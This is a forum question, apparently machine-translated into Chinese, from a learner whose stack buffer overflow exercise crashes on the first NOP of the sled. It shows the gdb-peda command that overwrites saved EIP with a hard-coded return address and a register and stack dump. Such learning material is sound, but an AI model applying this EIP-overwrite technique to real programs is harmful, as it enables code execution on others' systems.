2013-01-07 53 views
3

我嘗試了一個基本的緩衝區溢出,我覆蓋保存在堆棧上的EIP跳轉到地址。這個地址指向包含我的shellcode的shell變量。緩衝區溢出不運行

但是在gdb上,在nopslide上的第一個nop上編程sigserv。

我勞克個這樣的程序指令:

gdb-peda$ r $(python -c 'print "A"*22 + "\x5f\xb8\xff\xff"') 

我有這樣的痕跡:

[----------------------------------registers-----------------------------------] 
EAX: 0x1a 
EBX: 0xf7fc3ff4 --> 0x15dd7c 
ECX: 0xffffaf38 --> 0xf7fc44e0 --> 0xfbad2a84 
EDX: 0xf7fc5360 --> 0x0 
ESI: 0x0 
EDI: 0x0 
EBP: 0x41414141 ('AAAA') 
ESP: 0xffffaf80 --> 0xffffb100 --> 0xc ('\x0c') 
EIP: 0xffffb85f --> 0x90909090 
EFLAGS: 0x10296 (carry PARITY ADJUST zero SIGN trap INTERRUPT direction overflow) 
[-------------------------------------code-------------------------------------] 
    0xffffb85c: nop 
    0xffffb85d: nop 
    0xffffb85e: nop 
=> 0xffffb85f: nop 
    0xffffb860: nop 
    0xffffb861: nop 
    0xffffb862: nop 
    0xffffb863: nop 
[------------------------------------stack-------------------------------------] 
0000| 0xffffaf80 --> 0xffffb100 --> 0xc ('\x0c') 
0004| 0xffffaf84 --> 0xf7fef060 (push ebp) 
0008| 0xffffaf88 --> 0x80484bb (<__libc_csu_init+11>: add ebx,0x1219) 
0012| 0xffffaf8c --> 0xf7fc3ff4 --> 0x15dd7c 
0016| 0xffffaf90 --> 0x80484b0 (<__libc_csu_init>: push ebp) 
0020| 0xffffaf94 --> 0x0 
0024| 0xffffaf98 --> 0xffffb018 --> 0x0 
0028| 0xffffaf9c --> 0xf7e7ce46 (<__libc_start_main+230>: mov DWORD PTR [esp],eax) 
[------------------------------------------------------------------------------] 
Legend: code, data, rodata, value 
Stopped reason: SIGSEGV 
0xffffb85f in ??() 
gdb-peda$ x/i $eip 
=> 0xffffb85f: nop 

我在Debian喘息運行,gcc版本是gcc(Debian的4.7.2-4)4.7 .2,gdb版本爲7.4.1-debian。

對此gcc版本有新保護嗎?或者其他的想法?

謝謝你。 (對不起,我的英語:))

+0

難道我的回答幫助?如果是這樣,那麼你可以選擇它作爲「接受答案」,點擊旁邊的,所以問題將從未答覆。謝謝。 – emil

回答